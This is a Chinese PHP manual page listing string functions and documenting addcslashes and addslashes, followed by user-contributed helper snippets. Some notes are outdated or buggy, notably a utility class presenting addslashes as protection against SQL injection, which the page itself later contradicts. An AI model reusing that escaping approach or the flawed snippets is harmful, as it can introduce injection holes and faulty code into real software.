  • chr — 从数字生成单字节字符串
  • chunk_split — 将字符串分割成小块
  • convert_cyr_string — 将字符由一种 Cyrillic 字符转换成另一种
  • convert_uudecode — 解码一个 uuencode 编码的字符串
  • convert_uuencode — 使用 uuencode 编码一个字符串
  • count_chars — 返回字符串所用字符的信息
  • crc32 — 计算一个字符串的 crc32 多项式
  • crypt — 单向字符串散列
  • echo — 输出一个或多个字符串
  • explode — 使用一个字符串分割另一个字符串
  • fprintf — 将格式化后的字符串写入到流
  • get_html_translation_table — 返回使用 htmlspecialchars 和 htmlentities 后的转换表
  • hebrev — 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）
  • hebrevc — 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符
  • hex2bin — 转换十六进制字符串为二进制字符串
  • html_entity_decode — Convert HTML entities to their corresponding characters
  • htmlentities — 将字符转换为 HTML 转义字符
  • htmlspecialchars_decode — 将特殊的 HTML 实体转换回普通字符
  • htmlspecialchars — 将特殊字符转换为 HTML 实体
  • implode — 用字符串连接数组元素
  • join — 别名 implode
  • lcfirst — 使字符串的第一个字符小写
  • levenshtein — 计算两个字符串之间的 Levenshtein 距离
  • localeconv — Get numeric formatting information
  • ltrim — 删除字符串开头的空白字符（或其他字符）
  • md5_file — 计算指定文件的 MD5 散列值
  • md5 — 计算字符串的 MD5 散列值
  • metaphone — Calculate the metaphone key of a string
  • money_format — 将数字格式化成货币字符串
  • nl_langinfo — Query language and locale information
  • nl2br — 在字符串所有新行之前插入 HTML 换行标记
  • number_format — 以千位分隔符方式格式化一个数字
  • ord — 转换字符串第一个字节为 0-255 之间的值
  • parse_str — 将字符串解析成多个变量
  • print — 输出字符串
  • printf — 输出格式化字符串
  • quoted_printable_decode — 将 quoted-printable 字符串转换为 8-bit 字符串
  • quoted_printable_encode — 将 8-bit 字符串转换成 quoted-printable 字符串
  • quotemeta — 转义元字符集
  • rtrim — 删除字符串末端的空白字符（或者其他字符）
  • setlocale — 设置区域信息
  • sha1_file — 计算文件的 sha1 散列值
  • sha1 — 计算字符串的 sha1 散列值
  • similar_text — 计算两个字符串的相似度
  • soundex — Calculate the soundex key of a string
  • sprintf — 返回格式化字符串
  • sscanf — 根据指定格式解析输入的字符
  • str_contains — 确定字符串是否包含指定子串
  • str_decrement — Decrement an alphanumeric string
  • str_ends_with — 检查字符串是否以指定子串结尾
  • str_getcsv — 解析 CSV 字符串为一个数组
  • str_increment — Increment an alphanumeric string
  • str_ireplace — str_replace 的忽略大小写版本
  • str_pad — 使用另一个字符串填充字符串为指定长度
  • str_repeat — 重复一个字符串
  • str_replace — 子字符串替换
  • str_rot13 — 对字符串执行 ROT13 转换
  • str_shuffle — 随机打乱一个字符串
  • str_split — 将字符串转换为数组
  • str_starts_with — 检查字符串是否以指定子串开头
  • str_word_count — 返回字符串中单词的使用情况
  • strcasecmp — 二进制安全比较字符串（不区分大小写）
  • strchr — 别名 strstr
  • strcmp — 二进制安全字符串比较
  • strcoll — 基于区域设置的字符串比较
  • strcspn — 获取不匹配遮罩的起始子字符串的长度
  • strip_tags — 从字符串中去除 HTML 和 PHP 标签
  • stripcslashes — 反引用一个使用 addcslashes 转义的字符串
  • stripos — 查找字符串首次出现的位置（不区分大小写）
  • stripslashes — 反引用一个引用字符串
  • stristr — strstr 函数的忽略大小写版本
  • strlen — 获取字符串长度
  • strnatcasecmp — 使用“自然顺序”算法比较字符串（不区分大小写）
  • strnatcmp — 使用自然排序算法比较字符串
  • strncasecmp — 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • strncmp — 二进制安全比较字符串开头的若干个字符
  • strpbrk — 在字符串中查找一组字符的任何一个字符
  • strpos — 查找字符串首次出现的位置
  • strrchr — 查找指定字符在字符串中的最后一次出现
  • strrev — 反转字符串
  • strripos — 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • strrpos — 计算指定字符串在目标字符串中最后一次出现的位置
  • strspn — 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度
  • strstr — 查找字符串的首次出现
  • strtok — 标记分割字符串
  • strtolower — 将字符串转化为小写
  • strtoupper — 将字符串转化为大写
  • strtr — 转换字符或替换字串
  • substr_compare — 二进制安全比较字符串（从偏移位置比较指定长度）
  • substr_count — 计算字串出现的次数
  • substr_replace — 替换字符串的子串
  • substr — 返回字符串的子串
  • trim — 去除字符串首尾处的空白字符（或者其他字符）
  • ucfirst — 将字符串的首字母转换为大写
  • ucwords — 将字符串中每个单词的首字母转换为大写
  • utf8_decode — 将字符串从 UTF-8 转换为 ISO-8859-1，替换无效或者无法表示的字符。
  • utf8_encode — 将字符串从 ISO-8859-1 转换为 UTF-8 编码
  • vfprintf — 将格式化字符串写入流
  • vprintf — 输出格式化字符串
  • vsprintf — 返回格式化字符串
  • wordwrap — 打断字符串为指定数量的字串

User Contributed Notes

lrirwin at alum dot wustl dot edu 25-Aug-2021 05:44
I'm converting 30 year old code and needed a string TAB function:

  //tab function similar to TAB used in old BASIC languages
  //though some of them did not truncate if the string were
  //longer than the requested position
  function tab($instring="",$topos=0){
    if(strlen($instring)<$topos){
      $result=str_pad($instring,$topos-1," ",STR_PAD_RIGHT);
    }else{
      $result=substr($instring,0,$topos-1);
    }
    return $result;
  }

  $pline="String with this tab to 50 and";
  $tline=tab($pline,50)."finish it.";
  echo $tline.PHP_EOL;
  $pline="101010101020202020203030303030404040404050505050506060606060";
  $tline=tab($pline,50)."finish it.";
  echo $tline.PHP_EOL;

  //Results in this output:
  //String with this tab to 50 and                   finish it.
  //1010101010202020202030303030304040404040505050505finish it.
str at maphpia dot com 03-Jul-2013 08:19
I was looking for a function to find the common substring in 2 different strings. I tried both the mb_string_intersect and string_intersect functions listed here but didn't work for me. I found the algorithm at http://en.wikibooks.org/wiki/Algorithm_implementation/Strings/Longest_common_substring#PHP so here I post you the function

<?php

/**
 * Finds the matching string between 2 strings
 *
 * @param string $string1
 * @param string $string2
 * @param number $minChars
 *
 * @return NULL|string
 *
 * @link http://en.wikibooks.org/wiki/Algorithm_implementation/Strings/Longest_common_substring#PHP
 */
function string_intersect($string_1, $string_2)
{
    $string_1_length = strlen($string_1);
    $string_2_length = strlen($string_2);
    $return          = "";

    if ($string_1_length === 0 || $string_2_length === 0) {
        // No similarities
        return $return;
    }

    $longest_common_subsequence = array();

    // Initialize the CSL array to assume there are no similarities
    for ($i = 0; $i < $string_1_length; $i++) {
        $longest_common_subsequence[$i] = array();
        for ($j = 0; $j < $string_2_length; $j++) {
            $longest_common_subsequence[$i][$j] = 0;
        }
    }

    $largest_size = 0;

    for ($i = 0; $i < $string_1_length; $i++) {
        for ($j = 0; $j < $string_2_length; $j++) {
            // Check every combination of characters
            if ($string_1[$i] === $string_2[$j]) {
                // These are the same in both strings
                if ($i === 0 || $j === 0) {
                    // It's the first character, so it's clearly only 1 character long
                    $longest_common_subsequence[$i][$j] = 1;
                } else {
                    // It's one character longer than the string from the previous character
                    $longest_common_subsequence[$i][$j] = $longest_common_subsequence[$i - 1][$j - 1] + 1;
                }

                if ($longest_common_subsequence[$i][$j] > $largest_size) {
                    // Remember this as the largest
                    $largest_size = $longest_common_subsequence[$i][$j];
                    // Wipe any previous results
                    $return       = "";
                    // And then fall through to remember this new value
                }

                if ($longest_common_subsequence[$i][$j] === $largest_size) {
                    // Remember the largest string(s)
                    $return = substr($string_1, $i - $largest_size + 1, $largest_size);
                }
            }
            // Else, $CSL should be set to 0, which it was already initialized to
        }
    }

    // Return the list of matches
    return $return;
}
Tomek Rychtyk 08-Feb-2012 09:58
Get the intersection of two strings using array_intersect

<?php

function string_intersect($string1, $string2)
{
    $array1 = $array2 = array();

    for($i = 0, $j = 0, $s1_len = strlen($string1), $s2_len = strlen($string2);($i < $s1_len) || ($j < $s2_len); $i++, $j++) {
        if($i < $s1_len) {
            $array1[] = $string1[$i];
        }
        if($j < $s2_len) {
            $array2[] = $string2[$j];
        }
    }

    return implode('', array_intersect($array1, $array2));
}

?>

For more advanced comparison you can use array_uintersect as well.
Stephen Dewey 19-Nov-2008 05:33
If you want a function to return all text in a string up to the Nth occurrence of a substring, try the below function.

Works in PHP >= 5.

(Pommef provided another sample function for this purpose below, but I believe it is incorrect.)

<?php

// Returns all of $haystack up to (but excluding) the $n_occurrence occurrence of $needle. Therefore:
//        If there are < $n_occurrence occurrences of $needle in $haystack, the entire string will be returned.
//        If there are >= $n_occurrence occurrences of $needle in $haystack, the returned string will end before the $n_occurrence'th needle.
// This function only makes sense for $n_occurrence >= 1
function nsubstr($needle, $haystack, $n_occurrence)
{
    // After exploding by $needle, every entry in $arr except (possibly) part of the last entry should have its content returned.
    $arr = explode($needle,$haystack,$n_occurrence);
    // Examine last entry in $arr. If it contains $needle, cut out all text except for the text before $needle.
    $last = count($arr) - 1;
    $pos_in_last = strpos($arr[$last],$needle);

    if ($pos_in_last !== false)
        $arr[$last] = substr($arr[$last],0,$pos_in_last);

    return implode($needle,$arr);
}

$string = 'd24jkdslgjldk2424jgklsjg24jskgldjk24';

print 'S:  ' . $string . '<br>';
print '1: ' . nsubstr('24',$string,1) . '<br>';
print '2: ' . nsubstr('24',$string,2) . '<br>';
print '3: ' . nsubstr('24',$string,3) . '<br>';
print '4: ' . nsubstr('24',$string,4) . '<br>';
print '5: ' . nsubstr('24',$string,5) . '<br>';
print '6: ' . nsubstr('24',$string,6) . '<br>';
print '7: ' . nsubstr('24',$string,7) . '<br>';

/*
// prints:
S: d24jkdslgjldk2424jgklsjg24jskgldjk24
1: d
2: d24jkdslgjldk
3: d24jkdslgjldk24
4: d24jkdslgjldk2424jgklsjg
5: d24jkdslgjldk2424jgklsjg24jskgldjk
6: d24jkdslgjldk2424jgklsjg24jskgldjk24
7: d24jkdslgjldk2424jgklsjg24jskgldjk24
*/

?>

Note that this function can be combined with wordwrap() to accomplish a routine but fairly difficult web design goal, namely, limiting inline HTML text to a certain number of lines. wordwrap() can break your string using <br>, and then you can use this function to only return text up to the N'th <br>.

You will still have to make a conservative guess of the max number of characters per line with wordwrap(), but you can be more precise than if you were simply truncating a multiple-line string with substr().

See example:

<?php

$text = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida accumsan, enim quam condimentum est, vitae rutrum neque magna ac enim.';

$wrapped_text = wordwrap($text,100,'<br>',true);

$three_lines = nsubstr('<br>',$wrapped_text,3);

print '<br><br>' . $three_lines;

$four_lines = nsubstr('<br>',$wrapped_text,4);

print '<br><br>' . $four_lines;

/*
prints:

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu
dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida

*/

?>
Verdauga 19-Mar-2008 06:06
Just a note in regards to bloopletech a few posts down:

The word "and" should not be used when converting numbers to text.  "And" (at least in US English) should only be used to indicate the decimal place.

Example:
1,796,706 => one million, seven hundred ninety-six thousand, seven hundred six.
594,359.34 => five hundred ninety four thousand, three hundred fifty nine and thirty four hundredths
m 26-Jul-2007 05:10
Regarding the code for the function beginsWith($str, $sub), I found that it has problems when only one character is present after the string searched for. I found that this works better instead:

<?php
function beginsWith($str, $sub) {
    return (strncmp($str, $sub, strlen($sub)) == 0);
}
?>
mike &#34;eyes&#34; moe 17-Jun-2007 05:59
Here is a truly random string generator it uses the most common string functions it will work on anywhere.

<?php
    function random_string($max = 20){
        $chars = explode(" ", "a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9");
        for($i = 0; $i < $max; $i++){
            $rnd = array_rand($chars);
            $rtn .= base64_encode(md5($chars[$rnd]));
        }
        return substr(str_shuffle(strtolower($rtn)), 0, $max);
    }
?>
admin at rotarymulundeast dot org 30-Jul-2006 03:16
Here's an easier way to find nth...

function nth($numbex){
  if ($numbex%10 == 1 && $numbex%100 != 11) $sth='st';
  elseif ($numbex%10 == 2 && $numbex%100 != 12) $sth='nd';
  elseif ($numbex%10 == 3 && $numbex%100 != 13) $sth='rd';
  else $sth = 'th';
  return $sth;
}

there is is no need to check if the user has entered a non-integer as we may be using this function for expressing variables as well eg. ith value of x , nth root of z ,etc...
administrador(ensaimada)sphoera(punt)com 02-Mar-2006 06:10
I've prepared this simple function to obtain a string delimited between tags (not only XML tags!). Anybody needs something like this?.

<?php

function get_string_between($string, $start, $end){
    $string = " ".$string;
     $ini = strpos($string,$start);
     if ($ini == 0) return "";
     $ini += strlen($start);
     $len = strpos($string,$end,$ini) - $ini;
     return substr($string,$ini,$len);
}

$string = "this [custom] function is useless!!";
echo get_string_between($string,"[","]");
// must return "custom";
?>
more functions at http://www.sphoera.com
SteveRusin 24-Feb-2006 11:00
The functions below:

function beginsWith( $str, $sub )
function endsWith( $str, $sub )

Are correct, but flawed.  You'd need to use the === operator instead:

function beginsWith( $str, $sub ) {
   return ( substr( $str, 0, strlen( $sub ) ) === $sub );
}
function endsWith( $str, $sub ) {
   return ( substr( $str, strlen( $str ) - strlen( $sub ) ) === $sub );
}

Otherwise, endsWith would return "foobar.0" ends with ".0" as well as "0" or "00" or any amount of zeros because numerically .0 does equal 0.
navarr at gmail dot com 20-Dec-2005 06:24
stripos for PHP4.x

<?php
  function stripos($haystack,$needle) {
    return strpos(strtoupper($haystack),strtoupper($needle));
  }
?>
admin at fivestarbuy dot com 21-Oct-2005 09:18
This example lets you parse an unparsed strings variables. Warning: This could cause security leaks if you allow users to pass $variables through this engine. I recommend only using this for your Content Management System.

<?
$mytime=time();
$mydog="My Dog Ate My PHP!";

# Your Parsing String:
$s1 = 'Hyphen Variable Preserving: $mytime, and $mydog';
echo "Before: <br><br>$s1<br><br>";

# Remember, wherever you define this, it will not be defined GLOBAL into the function
# which is why we define it here. Defining it global could lead to security issues.
$vardata=get_defined_vars();

# Parse the string
$s1 = StrParse($s1,$vardata);

echo "After: <br><br>$s1";

function StrParse($str,$vardata) {
# Takes a string, or piece of data, that contains PHP Variables

 # For example, unparsed variables like:  Test using time: $mytime
 # This example shows $mytime, and not the actual variable value.
 # The end result shows the actual variable value of $mytime.

 # This is useful for building a content management system,
 # and directing your variables into your content data,
 # where content is stored in a file or database, unparsed.
 # Of course this could slow down page loads, but it's a good way
 # to parse data from current variables into your loaded new data
 # making it compatible.

# Then the variables are replaced with the actual variable..
$getvarkeys=array_keys($vardata);
$ret=$str;
for ($x=0; $x < count($getvarkeys); $x++) {
    $myvar=$getvarkeys[$x];
    #echo "Variable: " . $myvar . " [" . $vardata[$myvar] . "]<br>";
    $ret=str_replace('$' . $myvar, $vardata[$myvar], $ret);
}
return $ret;

}

?>
17-Oct-2005 03:27
to: james dot d dot baker at gmail dot com

PHP has a builtin function  for doing what your function does,

http://php.net/ucfirst
http://php.net/ucwords
webmaster at cafe-clope dot net 13-Aug-2005 04:40
A comprehensive concatenation function, that works with array and strings

<?php
function str_cat() {
  $args = func_get_args() ;

  // Asserts that every array given as argument is $dim-size.
  // Keys in arrays are stripped off.
  // If no array is found, $dim stays unset.
  foreach($args as $key => $arg) {
    if(is_array($arg)) {
      if(!isset($dim))
        $dim = count($arg) ;
      elseif($dim != count($arg))
        return FALSE ;
      $args[$key] = array_values($arg) ;
    }
  }

  // Concatenation
  if(isset($dim)) {
    $result = array() ;
    for($i=0;$i<$dim;$i++) {
      $result[$i] = '' ;
      foreach($args as $arg)
        $result[$i] .= ( is_array($arg) ? $arg[$i] : $arg ) ;
    }
    return $result ;
  } else {
    return implode($args) ;
  }
}
?>

A simple example :

<?php
str_cat(array(1,2,3), '-', array('foo' => 'foo', 'bar' => 'bar', 'noop' => 'noop')) ;
?>

will return :
Array (
  [0] => 1-foo
  [1] => 2-bar
  [2] => 3-noop
)

More usefull :

<?php
$myget = $_GET ; // retrieving previous $_GET values
$myget['foo'] = 'b a r' ; // changing one value
$myget = str_cat(array_keys($myget), '=', array_map('rawurlencode', array_values($myget))) ;
$querystring = implode(ini_get('arg_separator.output'), $myget)) ;
?>

will return a valid querystring with some values changed.

Note that <?php str_cat('foo', '&', 'bar') ; ?> will return 'foo&bar', while <?php str_cat(array('foo'), '&', 'bar') ; ?> will return array(0 => foo&bar)
t0russ at gmail dot com 14-Jun-2005 10:38
to kristin at greenaple dot on dot ca:
thanx for sharing.
your function in recursive form proved to be slightly faster and it returns false (as it should) when the character is not found instead of number 0:
<?php
function strnposr($haystack, $needle, $occurance, $pos = 0) {
    return ($occurance<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurance-1,strpos($haystack, $needle, $pos) + 1);
}
?>
rh at richardhoward dot net 05-Jun-2005 11:41
<?php
/**
Utility class: static methods for cleaning & escaping untrusted (i.e.
user-supplied) strings.

Any string can (usually) be thought of as being in one of these 'modes':

pure = what the user actually typed / what you want to see on the page /
       what is actually stored in the DB
gpc  = incoming GET, POST or COOKIE data
sql  = escaped for passing safely to RDBMS via SQL (also, data from DB
       queries and file reads if you have magic_quotes_runtime on--which
       is rare)
html = safe for html display (htmlentities applied)

Always knowing what mode your string is in--using these methods to
convert between modes--will prevent SQL injection and cross-site scripting.

This class refers to its own namespace (so it can work in PHP 4--there is no
self keyword until PHP 5). Do not change the name of the class w/o changing
all the internal references.

Example usage: a POST value that you want to query with:
$username = Str::gpc2sql($_POST['username']);
*/

//This sets SQL escaping to use slashes; for Sybase(/MSSQL)-style escaping
// ( ' --> '' ), set to true.
define('STR_SYBASE', false);

class Str {
    function gpc2sql($gpc, $maxLength = false)
    {
        return Str::pure2sql(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2html($gpc, $maxLength = false)
    {
        return Str::pure2html(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2pure($gpc)
    {
        if (ini_get('magic_quotes_sybase'))
            $pure = str_replace("''", "'", $gpc);
        else $pure = get_magic_quotes_gpc() ? stripslashes($gpc) : $gpc;
        return $pure;
    }
    function html2pure($html)
    {
        return html_entity_decode($html);
    }
    function html2sql($html, $maxLength = false)
    {
        return Str::pure2sql(Str::html2pure($html), $maxLength);
    }
    function pure2html($pure, $maxLength = false)
    {
        return $maxLength ? htmlentities(substr($pure, 0, $maxLength))
                          : htmlentities($pure);
    }
    function pure2sql($pure, $maxLength = false)
    {
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return (STR_SYBASE)
               ? str_replace("'", "''", $pure)
               : addslashes($pure);
    }
    function sql2html($sql, $maxLength = false)
    {
        $pure = Str::sql2pure($sql);
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return Str::pure2html($pure);
    }
    function sql2pure($sql)
    {
        return (STR_SYBASE)
               ? str_replace("''", "'", $sql)
               : stripslashes($sql);
    }
}
?>
james dot d dot baker at gmail dot com 27-May-2005 10:45
<?php
/*
Written By James Baker, May 27th 2005

sentenceCase($string);
    $string: The string to convert to sentence case.

Converts a string into proper sentence case (First letter of each sentance capital, all the others smaller)

Example Usage:
echo sentenceCase("HELLO WORLD!!! THIS IS A CAPITALISED SENTENCE. this isn't.");

Returns:
Hello world!!! This is a capitalised sentence. This isn't.
*/

function sentenceCase($s){
    $str = strtolower($s);
    $cap = true;

    for($x = 0; $x < strlen($str); $x++){
        $letter = substr($str, $x, 1);
        if($letter == "." || $letter == "!" || $letter == "?"){
            $cap = true;
        }elseif($letter != " " && $cap == true){
            $letter = strtoupper($letter);
            $cap = false;
        }

        $ret .= $letter;
    }

    return $ret;
}
?>
php at moechofe dot com 26-Apr-2005 06:34
<?php
  /*
  * str_match
  *
  * return a string with only cacacteres defined in a expression return false if the expression is not valid
  *
  * @param $str string the string
  * @param $match the expression based on the class definition off a PCRE regular expression.
  *   the '[', ']', '\' and '^' at class start need to be escaped.
  *   like : -a-z0-9_@.
  */
  function str_match( $str, $match )
  {
    $return = '';
    if( eregi( '(.*)', $match, $class ) )
    {
      $match = '['.$regs[1].']';
      for( $i=0; $i<strlen($str); $i++ )
      if( ereg( '['.$class[1].']', $str[$i] ) )
      $return .= $str{$i};
      return $return;
    }
    else return false;
  }

  /*
  * example
  * accept only alphanum caracteres from the GET/POST parameters 'a'
  */

  if( ! empty($_REQUEST['a']) )
    $_REQUEST['a'] = str_match( $_REQUEST['a'], 'a-zA-Z0-9' );
  else
    $_REQUEST['a'] = 'default';
?>
Pommef 19-Mar-2005 01:15
Example: Give me everything up to the fourth occurance of '/'.

<?php

   $haystack = "/home/username/www/index.php";
   $needle = "/";

   function strnpos($haystack, $needle, $occurance, $pos = 0) {

        $res = implode($needle,$haystack);

        $res = array_slice($res, $pos,  $occurance);

        return explode ($needle,$res);
    }
?>
kristin at greenapple dot on dot ca 02-Jan-2005 08:32
I really searched for a function that would do this as I've seen it in other languages but I couldn't find it here. This is particularily useful when combined with substr() to take the first part of a string up to a certain point.

strnpos() - Find the nth position of needle in haystack.

<?php

    function strnpos($haystack, $needle, $occurance, $pos = 0) {

        for ($i = 1; $i <= $occurance; $i++) {
            $pos = strpos($haystack, $needle, $pos) + 1;
        }
        return $pos - 1;

    }

?>

Example: Give me everything up to the fourth occurance of '/'.

<?php

    $haystack = "/home/username/www/index.php";
    $needle = "/";

    $root_dir = substr($haystack, 0, strnpos($haystack, $needle, 4));

    echo $root_dir;

?>

Returns: /home/username/www

Use this example with the server variable $_SERVER['SCRIPT_NAME'] as the haystack and you can self-discover a document's root directory for the purposes of locating global files automatically!
20-Dec-2004 08:31
In response to hackajar <matt> yahoo <trot> com,

No string-to-array function exists because it is not needed. If you reference a string with an offset like you do with an array, the character at that offset will be return. This is documented in section III.11's "Strings" article under the "String access and modification by character" heading.
andy a t onesandzeros d o t biz 09-Nov-2004 02:54
I use these little doo-dads quite a bit. I just thought I'd share them and maybe save someone a little time. No biggy. :)

// returns true if $str begins with $sub
function beginsWith( $str, $sub ) {
    return ( substr( $str, 0, strlen( $sub ) ) == $sub );
}

// return tru if $str ends with $sub
function endsWith( $str, $sub ) {
    return ( substr( $str, strlen( $str ) - strlen( $sub ) ) == $sub );
}

// trims off x chars from the front of a string
// or the matching string in $off is trimmed off
function trimOffFront( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, $off );
    else
        return substr( $str, strlen( $off ) );
}

// trims off x chars from the end of a string
// or the matching string in $off is trimmed off
function trimOffEnd( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, 0, strlen( $str ) - $off );
    else
        return substr( $str, 0, strlen( $str ) - strlen( $off ) );
}
[tab!] 27-Oct-2004 12:29
//
// string strtrmvistl(  string str, [int maxlen = 64],
//                      [bool right_justify = false],
//                      [string delimter = "<br>\n"])
//
// splits a long string into two chunks (a start and an end chunk)
// of a given maximum length and seperates them by a given delimeter.
// a second chunk can be right-justified within maxlen.
// may be used to 'spread' a string over two lines.
//

function strtrmvistl($str, $maxlen = 64, $right_justify = false, $delimter = "<br>\n") {
    if(($len = strlen($str = chop($str))) > ($maxlen = max($maxlen, 12))) {
        $newstr = substr($str, 0, $maxlen - 3);

        if($len > ($maxlen - 3)) {
            $endlen = min(($len - strlen($newstr)), $maxlen - 3);
            $newstr .= "..." . $delimter;

            if($right_justify)
                $newstr .= str_pad('', $maxlen - $endlen - 3, ' ');

            $newstr .= "..." . substr($str, $len - $endlen);
        }

        return($newstr);
    }

    return($str);
}
terry dot greenlaw at logicalshift dot com 11-Aug-2004 10:52
Here's a simpler "simplest" way to toggle through a set of 1..n colors for web backgrounds:

<?php
$colours = array('#000000', '#808080', '#A0A0A0', '#FFFFFF');

// Get a colour
$color = next($colors) or $color = reset($colors);
?>

The code doesn't need to know anything about the number of elements being cycled through. That way you won't have to tracking down all the code when changing the number of colors or the color values.


以 C 语言风格使用反斜线转义字符串中的字符

  • ? 字符串 函数
  • addslashes ?
  • PHP Manual
  • 字符串 函数
  • 以 C 语言风格使用反斜线转义字符串中的字符

addcslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

addcslashes — 以 C 语言风格使用反斜线转义字符串中的字符

说明

addcslashes(string $string, string $characters): string

返回字符串，该字符串在属于参数 characters 列表中的字符前都加上了反斜线。

参数

string

要转义的字符。

characters

如果 characters 中包含有 \n，\r 等字符，将以 C 语言风格转换，而其它非字母数字且 ASCII 码低于 32 以及高于 126 的字符均转换成使用八进制表示。

当定义 characters 参数中的字符序列时，需要确保知道设置为开始及结束范围之内的字符都是什么。

<?php
echo addcslashes('foo[ ]', 'A..z');
// 输出：\f\o\o\[ \]
// 所有大小写字母均被转义
// ... 但 [\]^_` 以及分隔符、换行符、回车符等也一并被转义了。
?>
另外，如果设置范围中的结束字符 ASCII 码高于开始字符，则不会创建范围，只是将开始字符、结束字符以及其间的字符逐个转义。可使用 ord() 函数获取字符的 ASCII 码值。
<?php
echo addcslashes("zoo['.']", 'z..A');
// 输出：\zoo['\.']
?>

当选择对字符 0，a，b，f，n，r，t 和 v 进行转义时需要小心。它们将被转换成 \0，\a，\b，\f，\n，\r，\t 和 \v，这些在 C 中都是预定义的转义序列。其中一些序列也在其它 C 派生语言（包含 PHP）中定义，这意味着如果使用 addcslashes() 和 characters 中定义的字符输出生成语言的代码，将不会得到预期的结果。

返回值

返回转义后的字符。

示例

characters 参数，如"\0..\37"，将转义所有 ASCII 码介于 0 和 31 之间的字符。

Example #1 addcslashes() 例子

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\177..\377");
?>

参见

  • stripcslashes() - 反引用一个使用 addcslashes 转义的字符串
  • stripslashes() - 反引用一个引用字符串
  • addslashes() - 使用反斜线引用字符串
  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • quotemeta() - 转义元字符集

User Contributed Notes

vishal dot ceeng at gmail dot com 03-May-2019 05:16
echo addcslashes("zoo['.']", 'z..A');

Above code will create an error as per below

Invalid '..'-range, '..'-range needs to be incrementing -
glitchmr at myopera dot com 02-Jul-2013 06:55
If you need JS escaping function, use json_encode() instead.
stein at visibone dot com 12-Nov-2007 03:16
addcslashes() treats NUL as a string terminator:

   assert("any"  === addcslashes("any\0body", "-"));

unless you order it backslashified:

   assert("any\\000body" === addcslashes("any\0body", "\0"));

(Uncertain whether this should be declared a bug or simply that addcslashes() is not binary-safe, whatever that means.)
Johannes 26-Oct-2007 05:34
Be carefull with adding the \ to the list of encoded characters. When you add it at the last position it encodes all encoding slashes. I got a lot of \\\ by this mistake.

So always encode \ at first.
phpcoder at cyberpimp dot pimpdomain dot com 19-Jan-2005 11:02
If you are using addcslashes() to encode text which is to later be decoded back to it's original form, you MUST specify the backslash (\) character in charlist!

Example:

<?php
  $originaltext = 'This text does NOT contain \\n a new-line!';
  $encoded = addcslashes($originaltext, '\\');
  $decoded = stripcslashes($encoded);
  //$decoded now contains a copy of $originaltext with perfect integrity
  echo $decoded; //Display the sentence with it's literal \n intact
?>

If the '\\' was not specified in addcslashes(), any literal \n (or other C-style special character) sequences in $originaltext would pass through un-encoded, but then be decoded into control characters by stripcslashes() and the data would lose it's integrity through the encode-decode transaction.
natNOSPAM at noworrie dot NO_SPAM dot com 17-May-2002 04:22
I have found the following to be much more appropriate code example:

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\@\177..\377");
?>

This will protect original, innocent backslashes from stripcslashes.


使用反斜线引用字符串

  • ? addcslashes
  • bin2hex ?
  • PHP Manual
  • 字符串 函数
  • 使用反斜线引用字符串

addslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

addslashes — 使用反斜线引用字符串

说明

addslashes(string $string): string

返回需要在转义字符之前添加反斜线的字符串。这些字符是：

  • 单引号（'）
  • 双引号（"）
  • 反斜线（\）
  • NUL（NUL 字节）

addslashes() 的一个用法就是转义由 PHP 执行字符串中的上述字符：

<?php
$str = "O'Reilly?";
eval("echo '" . addslashes($str) . "';");
?>

有时会错误的使用 addslashes() 来防止 SQL 注入。相反，应该使用数据库特定函数和/或预处理语句。

参数

string

要转义的字符。

返回值

返回转义后的字符。

示例

Example #1 一个 addslashes() 例子

<?php
$str = "Is your name O'Reilly?";

// 输出： Is your name O\'Reilly?
echo addslashes($str);
?>

参见

  • stripcslashes() - 反引用一个使用 addcslashes 转义的字符串
  • stripslashes() - 反引用一个引用字符串
  • addcslashes() - 以 C 语言风格使用反斜线转义字符串中的字符
  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • quotemeta() - 转义元字符集
  • get_magic_quotes_gpc() - 获取当前 magic_quotes_gpc 的配置选项设置

User Contributed Notes

divinity76 at gmail dot com 02-Mar-2022 04:08
Addslashes is *never* the right answer, it's (ab)use can lead to security exploits!

if you need to escape HTML, it's (unfortunately)
<?php
echo htmlentities($html, ENT_QUOTES|ENT_SUBSTITUTE|ENT_DISALLOWED);
?>
if you need to quote shell arguments, it's
<?php
$cmd.= " --file=" . escapeshellarg($arg);
?>
if you need to quote SQL strings it's
<?php
$sql.= "WHERE col = '".$mysqli->real_escape_string($str)."'";
?>
or
<?php
$sql.= "WHERE col = " . $pdo->quote($str);
?>
if you need to quote javascript/json strings its
<?php
let str = <?=json_encode($str, JSON_THROW_ON_ERROR);?>;
?>

